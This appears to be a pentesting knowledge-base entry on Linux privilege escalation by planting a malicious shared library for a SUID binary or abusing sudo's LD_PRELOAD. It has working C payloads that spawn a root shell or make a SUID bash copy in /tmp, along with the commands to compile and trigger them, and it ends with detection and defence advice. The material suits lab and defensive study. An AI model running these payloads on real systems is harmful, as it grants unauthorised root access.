Shared library injection
When a SUID root binary (or one run by a privileged process) dynamically loads a .so library from a user-writable path, we can replace that library with our own and run code with the binary's privileges. It is the "bespoke" version of library hijacking: we do not rely on LD_PRELOAD or LD_LIBRARY_PATH, but on the binary dlopening a specific path we control.
Identification
Once the SUID binary is located (find / -perm -4000), inspect what it loads and from where:
strings /path/binary | grep -iE '\.so|plugin|dlopen'
ltrace /path/binary 2>&1 | grep -iE 'dlopen|dlsym' # dlopen("/opt/app/libplugin.so", ...)
strace -f /path/binary 2>&1 | grep -iE 'open.*\.so' # paths it tries and fails (ENOENT)The open(...) = -1 ENOENT lines point to a .so the binary looks for but that doesn't exist: if its directory is writable, that's where you plant the library. Same if the dlopen points to an already-writable path.
Exploitation
Write a .so implementing the function with the exact name the binary calls (for example init_plugin) carrying the malicious logic. A __attribute__((constructor)) also works if it runs on load:
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}gcc -fPIC -shared -o /writable/path/lib.so lib.c
/path/to/suid_binary # loads our .so and runs init_plugin as root
/tmp/bash -p # euid=0LD_PRELOAD / LD_LIBRARY_PATH variant
If sudo -l shows env_keep+=LD_PRELOAD, you don't need a vulnerable dlopen: preload a .so with a constructor that gives root when invoking any sudo-allowed binary:
#include <stdlib.h>
__attribute__((constructor)) void x(){ setuid(0); system("/bin/bash -p"); }gcc -fPIC -shared -nostartfiles -o /tmp/p.so p.c
sudo LD_PRELOAD=/tmp/p.so <allowed_binary>Requirements
The function must have the exact name the binary looks up (otherwise dlsym fails), and the .so must be in a path we can write (not a system one like /usr/lib). For the LD_PRELOAD variant, sudo must keep the variable in the environment (env_keep).
How to detect it. The signature is a privileged process loading a library from a user-writable path (/tmp, /dev/shm, a home): auditd over open/openat of .so files outside system paths, or Sysmon for Linux logging the SUID execve followed by the creation of /tmp/bash with the SUID bit. A sudo with LD_PRELOAD= pointing at /tmp in /var/log/auth.log is unmistakable.
Defence. Have privileged binaries load libraries only from root-writable paths, use absolute paths and safe RUNPATH, don't keep LD_* in sudo's env_keep, and avoid loading plugins from user directories. Related to SUID binary abuse, LD_LIBRARY_PATH hijack and Python library hijack.
Machines where it's used
- WorkaholicProving Grounds Practice